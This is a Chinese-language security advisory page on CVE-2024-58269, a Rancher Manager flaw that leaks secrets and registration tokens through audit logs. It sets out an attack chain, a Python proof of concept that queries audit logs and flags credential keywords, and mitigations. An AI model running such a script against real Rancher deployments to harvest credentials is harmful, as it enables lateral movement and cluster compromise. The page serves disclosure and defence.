IPBUF安全漏洞报告
English
CVE-2024-58269 CVSS 4.3 中危

CVE-2024-58269 Rancher Manager审计日志敏感信息泄露漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2024-58269
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rancher Manager

相关标签

信息泄露敏感数据暴露RancherRancher Manager审计日志SUSEKubernetes容器编排凭证泄露CVE-2024-58269

漏洞概述

CVE-2024-58269是SUSE安全团队发现的存在于Rancher Manager中的一个中等严重性信息泄露漏洞。该漏洞允许任何具有Rancher审计日志访问权限的实体获取敏感信息,包括secret数据、集群导入URL以及注册令牌等关键凭据信息。由于Rancher作为Kubernetes集群管理平台,其审计日志通常会被集中存储和分析,攻击者通过访问这些日志即可获取部署在集群中的各类敏感凭证,进而可能导致横向移动和进一步的攻击。该漏洞的CVSS评分为4.3,属于中危级别,攻击向量为网络形式,无需用户交互,但需要低权限认证。漏洞影响Rancher Manager的审计日志功能,敏感数据在日志中被明文记录,缺乏适当的脱敏处理机制。

技术细节

Rancher Manager在生成审计日志时,未对敏感字段进行适当的过滤或脱敏处理。当用户执行涉及敏感信息的操作时,如创建集群导入配置、生成注册令牌或管理secret资源时,这些敏感数据会被完整地记录到审计日志中。攻击者只需具备对审计日志的读取权限(这在多租户环境和运维场景中较为常见),即可通过日志分析或日志查询接口获取目标secret的明文内容、集群导入URL以及注册令牌。技术层面,漏洞源于Rancher的审计日志模块缺少对敏感数据字段(如data、password、token、secretKey等)的识别和过滤机制。攻击者可以通过API调用触发敏感操作后查询审计日志,或直接访问日志存储系统来获取这些信息。值得注意的是,该漏洞不涉及Rancher本身的安全绕过,而是由于日志记录策略不当导致的信息泄露。

攻击链分析

STEP 1
1
攻击者获取Rancher Manager的低权限账户访问权限(如通过钓鱼或利用其他漏洞)
STEP 2
2
攻击者通过API或Web界面访问Rancher审计日志功能
STEP 3
3
攻击者查询包含敏感操作的审计日志条目(如secret创建、集群导入配置等)
STEP 4
4
从审计日志中提取明文存储的secret数据、集群导入URL或注册令牌
STEP 5
5
利用获取的敏感凭证进行横向移动,访问目标Kubernetes集群或相关服务
STEP 6
6
进一步扩大攻击范围,可能导致数据泄露或集群完全沦陷

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2024-58269 PoC - Rancher Manager审计日志敏感信息泄露 # Requires: Valid Rancher API token with low privileges and audit log access import requests import json from datetime import datetime, timedelta RANCHER_URL = "https://rancher.example.com" API_TOKEN = "token-xxxxx:xxxxxxxxxxxxxxx" HEADERS = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } def get_audit_logs(since=None, until=None): """获取Rancher审计日志""" params = { "limit": 100, "sortBy": "date" } if since: params["since"] = since if until: params["until"] = until response = requests.get( f"{RANCHER_URL}/v1/auditLogs", headers=HEADERS, params=params, verify=False, timeout=30 ) return response.json() def extract_sensitive_data(log_entry): """从日志条目中提取敏感信息""" sensitive_patterns = [ "password", "secret", "token", "credential", "apiKey", "privateKey", "clusterToken", "importToken", "registrationToken" ] extracted = {} log_data = json.dumps(log_entry).lower() for pattern in sensitive_patterns: if pattern in log_data: extracted[pattern] = "FOUND" return extracted def main(): print("[*] CVE-2024-58269 - Rancher Manager Audit Log Information Disclosure") print("[*] Scanning for sensitive data in audit logs...\n") # 获取最近24小时的审计日志 since = (datetime.now() - timedelta(days=1)).isoformat() logs = get_audit_logs(since=since) sensitive_findings = [] for log in logs.get("data", []): sensitive = extract_sensitive_data(log) if sensitive: finding = { "timestamp": log.get("timestamp"), "eventType": log.get("eventType"), "user": log.get("user", {}).get("name"), "resource": log.get("resource"), "sensitiveFields": sensitive, "rawLog": log # 包含敏感数据的完整日志 } sensitive_findings.append(finding) print(f"[!] Found sensitive data in log entry:") print(f" Timestamp: {finding['timestamp']}") print(f" Event: {finding['eventType']}") print(f" Sensitive Fields: {list(sensitive.keys())}") print() print(f"[*] Total sensitive findings: {len(sensitive_findings)}") # 导出完整结果 if sensitive_findings: output_file = f"cve_2024_58269_findings_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json" with open(output_file, 'w') as f: json.dump(sensitive_findings, f, indent=2) print(f"[+] Results exported to: {output_file}") if __name__ == "__main__": main()

影响范围

Rancher Manager < 2.7.14
Rancher Manager < 2.8.6

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制审计日志的访问权限,确保只有受信任的管理员才能访问;2)实施审计日志集中监控,对敏感数据访问行为设置告警;3)定期清理或脱敏历史审计日志中的敏感信息;4)考虑使用外部日志管理系统替代Rancher内置审计日志,并配置敏感字段过滤;5)对Rancher环境中部署的所有secret和凭证进行轮换,因为它们可能已通过审计日志泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表